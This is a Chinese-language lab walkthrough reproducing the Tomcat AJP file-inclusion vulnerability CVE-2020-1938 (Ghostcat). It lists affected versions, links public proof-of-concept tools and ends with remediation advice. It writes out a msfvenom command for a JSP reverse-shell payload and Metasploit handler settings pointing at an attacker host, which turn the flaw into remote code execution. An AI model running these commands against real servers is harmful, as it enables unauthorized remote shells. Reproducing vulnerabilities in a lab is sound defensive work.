CVE-2020-1938 Tomcat檔案包含漏洞復現
0x01 漏洞概述
Apache Tomcat是美國阿帕奇(Apache)軟體基金會的一款輕量級Web應用伺服器。該程式實現了對Servlet和JavaServer Page(JSP)的支援。
Apache Tomcat 7.0.100之前的7.*版本、8.5.51之前的8.*版本和9.0.31之前的9.*版本中的Tomcat AJP協議存在檔案包含漏洞。攻擊者可利用該漏洞讀取或包含Tomcat上所有webapp目錄下的任意檔案,如:webapp 配置檔案或原始碼等。
0x02 影響版本
Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 |
0x03 環境搭建
- Centos7 (192.168.114.129)
- Kali (192.168.114.173)
- Tomcat 9.0.30
- jdk 1.8.0_261
① 下載tomcat 9.0.30版本並在Centos7上配置安裝
下載地址:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/
tomcat在centos7上的安裝方法百度上有很多,這裡參考了這篇
https://cloud.tencent.com/developer/article/1334759
② 瀏覽器訪問ip:8080檢視
tomcat環境搭建成功。
0x04 漏洞復現
① 這裡使用github上的POC驗證漏洞
https://github.com/hypn0s/AJPy
執行POC可檢視tomcat的版本資訊
執行POC讀取tomcat的配置檔案資訊web.xml
可看到成功讀取到配置資訊。
②利用該漏洞實現RCE
需要先將payload上傳至tomcat目錄下,然後利用該漏洞啟用payload,反彈shell。
① 使用msfvenom生成shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444> shell.txt
②上傳至tomcat目錄
③執行POC檢視反彈Shell
這裡使用了另一個POC:
https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
- Kali開啟MSF
msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.114.173 msf6 exploit(multi/handler) > set LPORT 4444
- 執行POC
- Kali接受反彈Shell
0x05 修復建議
升級最新版本
關閉AJP Connector
將其監聽地址改為僅監聽本機